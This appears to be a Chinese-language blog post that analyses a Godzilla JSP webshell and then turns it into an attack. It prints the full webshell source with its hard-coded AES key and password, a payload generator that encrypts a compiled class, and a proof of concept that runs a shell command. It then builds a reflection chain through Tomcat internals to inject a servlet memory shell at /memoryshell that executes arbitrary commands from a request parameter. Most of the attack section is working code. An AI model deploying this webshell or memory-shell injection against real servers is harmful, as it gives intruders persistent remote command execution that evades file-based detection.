前言本次分析使用了ChatGPT進行輔助分析,大大提升了工作效率,很快就分析出木馬的工作流程和構造出利用方式。

  • 分析? 首先對該木馬進行格式化,以增強代碼的可讀性。得到如下代碼
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:declaration>
        String xc = "3c6e0b8a9c15224a";
        String pass = "pass";
        String md5 = md5(pass + xc);
        class X extends ClassLoader
        {
            public X(ClassLoader z)
            {
                super(z);
            }
            public Class Q(byte[] cb)
            {
                return super.defineClass(cb, 0, cb.length);
            }
        }
        /*
        * 作用:AES解密
        * m:true加密,False解密
        * */
        public byte[] x(byte[] s, boolean m)
        {
            try
            {
                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
                return c.doFinal(s);
            }
            catch(Exception e)
            {
                return null;
            }
        }
        /*
        * 作用:md5加密
        * */
        public static String md5(String s)
        {
            String ret = null;
            try
            {
                java.security.MessageDigest m;
                m = java.security.MessageDigest.getInstance("MD5");
                m.update(s.getBytes(), 0, s.length());
                ret = new
                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
            }
            catch(Exception e)
            {}
            return ret;
        }
        /*
        * 作用:base64加密
        * */
        public static String base64Encode(byte[] bs) throws Exception
        {
            Class base64;
            String value = null;
            try
            {
                base64 = Class.forName("java.util.Base64");
                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
                        {
                                byte[].class
                        }).invoke(Encoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e)
            {
                try
                {
                    base64 = Class.forName("sun.misc.BASE64Encoder");
                    Object Encoder = base64.newInstance();
                    value = (String) Encoder.getClass().getMethod("encode", new Class[]
                            {
                                    byte[].class
                            }).invoke(Encoder, new Object[]
                            {
                                    bs
                            });
                }
                catch(Exception e2)
                {}
            }
            return value;
        }
        /*
        * base64解密
        * */
        public static byte[]base64Decode(String bs) throws Exception
        {
            Class base64;
            byte[] value = null;
            try
            {
                base64 = Class.forName("java.util.Base64");
                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
                        {
                                String.class
                        }).invoke(decoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e)
            {
                try
                {
                    base64 = Class.forName("sun.misc.BASE64Decoder");
                    Object decoder = base64.newInstance();
                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
                            {
                                    String.class
                            }).invoke(decoder, new Object[]
                            {
                                    bs
                            });
                }
                catch(Exception e2)
                {}
            }
            return value;
        }
    </jsp:declaration>
    <jsp:scriptlet>
        try
        {
            byte[] data = base64Decode(request.getParameter(pass));//對傳入內容進行base64解密
            data = x(data, false);//AES解密
            if(session.getAttribute("payload") == null)
            {
                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//將字節碼加載
            }
            else
            {
                request.setAttribute("parameters", new String(data));
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(pageContext);
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
                response.getWriter().write(md5.substring(16));
            }
        }
        catch(Exception e){
            response.getWriter().write(e.getMessage());
        }
    </jsp:scriptlet>
</jsp:root>
  • ? 前期可以交付ChatGPT初步分析,理清各個函數的基本作用:

  • ? 得知各個函數的基本功能之后我們主要看<jsp:scriptlet>中的內容:
try
        {
            byte[] data = base64Decode(request.getParameter(pass));//對傳入內容進行base64解密
            data = x(data, false);//AES解密
            if(session.getAttribute("payload") == null)
            {
                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//將字節碼加載
            }
            else
            {
                request.setAttribute("parameters", new String(data));
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(pageContext);
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
                response.getWriter().write(md5.substring(16));
            }
        }
        catch(Exception e){
            response.getWriter().write(e.getMessage());
        }
  • ? 可以看到首先會獲取pass參數中的內容,進行base64解密獲得一個字節數組,傳入給x(),該函數第二個參數為true時候是進行加密,而第二個參數是false時候是解密.因此在base64解密后接著是AES解密,其中秘鑰在 <jsp:declaration>已經進行定義為xc變量它的值為3c6e0b8a9c15224a。在解密后會判斷session.getAttribute("payload") 是否為null,若不是null則將session中的payload變量設置為X類加載字節碼后的類,在二次訪問后對該類進行實例化。其基本流程如下:

EXP構建按照上述流程,我們可以編譯一個class文件讀取后進行AES加密->Base64加密得到EXP,惡意代碼的構造,可以在靜態代碼段中進行編寫,因為在類加載時候會自動調用靜態代碼段。

exp.java
package exp;
import java.io.IOException;
public class exp {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/gg.txt");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  • ? 編譯為class
javac exp.java
  • ? POC,我們可以利用木馬中的x()base64Encode當做EXP構成部分即可
package Fvck;
import java.io.*;
class Fvck{
    public static byte[] readFileToByteArray(String filePath) {
        File file = new File(filePath);
        byte[] fileBytes = new byte[(int) file.length()];
        try (FileInputStream fis = new FileInputStream(file)) {
            fis.read(fileBytes);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
        return fileBytes;
    }
    public static byte[] AesEncode(byte[] s, boolean m)
    {
        String xc = "3c6e0b8a9c15224a";
        try
        {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        }
        catch(Exception e)
        {
            return null;
        }
    }
    public static String base64Encode(byte[] bs) throws Exception
    {
        Class base64;
        String value = null;
        try
        {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
                    {
                            byte[].class
                    }).invoke(Encoder, new Object[]
                    {
                            bs
                    });
        }
        catch(Exception e)
        {
            try
            {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]
                        {
                                byte[].class
                        }).invoke(Encoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e2)
            {}
        }
        return value;
    }
    public static void main(String[] args) throws Exception {
        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
        System.out.println(result);
    }
}

內存馬注入

尋找Request

Java Object Searcher

基本使用方法

  • ? IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址

  • ? 將java-object-searcher-0.1.0-jar-with-dependencies.jar放到該地址下的/jre/lib/ext/中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
  • ? 回到IDEA->File->Project Structure->SDKs,將java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依賴。

  • ? 在Tomcat上隨便找個地方斷點,后打開Evaluate

  • ? 代碼中設置日志輸出文件夾,點擊Evaluate
//設置搜索類型包含Request關鍵字的對象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定義黑名單
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一個廣度優先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 設置黑名單
searcher.setBlacklists(blacklists);
//打開調試模式,會生成log日志
searcher.setIs_debug(true);
//挖掘深度為20
searcher.setMax_search_depth(20);
//設置報告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();

  • ? 在運行結束后會輸出日志到保存的文件夾:

image-20230608143438929

  • ? 在其中找一條鏈子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [17] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo}
  • ? 創建一個線程根據上面鏈子尋找

代碼編寫

與上面一致,我們在index.jsp中隨便找個地方下斷點,Evaluate中進行查找。根據鏈子我們第一步是獲取group,我們通過當前線程去獲取該對象。

  • ? 獲取group
Thread thread = Thread.currentThread();//獲取線程對象
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//獲取group屬性
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);//讀取group屬性的值

  • ? 獲取threads

獲取threads方法與獲取group基本一致

/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);

我們鏈子下一個對象是這個數組的第18個元素,也就是下標為17的元素,直接通過下標獲取即可,注意一下數據類型。

/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];

  • ? 獲取target

在鏈子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一個內部類中,我們直接使用這個包權限不夠獲取,因此可以使用上一個對象直接getClass()去獲取,同時該數據類型權限也不夠,因此需要用Object去代替.

/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*獲取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);

  • ? 獲取this$0

獲取方法以及原因同上

/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*獲取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*獲取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);

  • ? 獲取handler

這里我們直接同上方法會報錯,我們用Class.forName去指定包來獲取看看

我們卻發現還是報錯了,報錯提示并不存在handler這個字段

我們直接從依賴中看,AbstractProtocol確實不存在handler,但是存在handler數據類型,并且這個數據類型是來自org.apache.tomcat.util.net.AbstractEndpoint.Handler

我們直接嘗試從這個包獲取handler,發現獲取成功

/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*獲取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*獲取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*獲取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);

  • ? 獲取global

在獲取到handler之后直接通過getClass獲取即可

/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*獲取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*獲取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*獲取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*獲取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
Object global = globalField.get(handler);
  • ? 回顯鏈最終代碼
/*獲取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*獲取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*獲取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*獲取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*獲取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*獲取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler);
/*獲取processors*/
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList)processorsField.get(global);
Object p0 = processors.get(0);
/*獲取request*/
Field reqField = p0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
  • ? 結合內存馬
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class exp extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        String cmd = request.getParameter("cmd");
        PrintWriter out = response.getWriter();
        try {
            Process ps = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            String result = sb.toString();
            out.print(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    static {
        try {
            Thread thread = Thread.currentThread();
            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
            group.setAccessible(true);
            ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
            threads.setAccessible(true);
            Thread[] thread1 = (Thread[]) threads.get(threadGroup);
            Thread t17 = thread1[17];
            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
            targetField.setAccessible(true);
            Object target = targetField.get(t17);
            Field this$0Field = target.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            Object this$0 = this$0Field.get(target);
            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
            handlerField.setAccessible(true);
            Object handler = handlerField.get(this$0);
            Field globalField = handler.getClass().getDeclaredField("global");
            globalField.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
            Field processorsField = global.getClass().getDeclaredField("processors");
            processorsField.setAccessible(true);
            ArrayList processors = (ArrayList) processorsField.get(global);
            Object r0 = processors.get(0);
            Field reqField = r0.getClass().getDeclaredField("req");
            reqField.setAccessible(true);
            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
            ServletContext servletContext = request.getServletContext();
            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//獲取servletContext中的context屬性
            applicationContextField.setAccessible(true);//設置該屬性可訪問性為True
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通過反射獲取applicationContextField中context的值
            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//獲取context屬性值
            standarContextField.setAccessible(true);//設置該屬性可訪問性為True
            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通過反射獲取context的值也就是StandardContext
//注冊Servlet
            Wrapper wrapper  = context.createWrapper();//創建一個Wrapper
            wrapper.setName("MemShellServlet");//設置Servlet名字
            wrapper.setServletClass(exp.class.getName());
            wrapper.setServlet(new exp());//實例化Servlet并設置對象為該Servlet
            context.addChild(wrapper);//添加進Context
            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注冊Mapping
        } catch (Exception e) {
        }
    }
}

使用哥斯拉木馬注入Tomcat Servlet內存馬

  • ? 在tomcat中運行上述代碼可以在網站WEB-INF/classes/exp.class生成class,我們根據前面構造的EXP生成的base64,(注意需要url編碼)

  • ? 需要訪問兩次才能觸發

  • ? 成功注入內存馬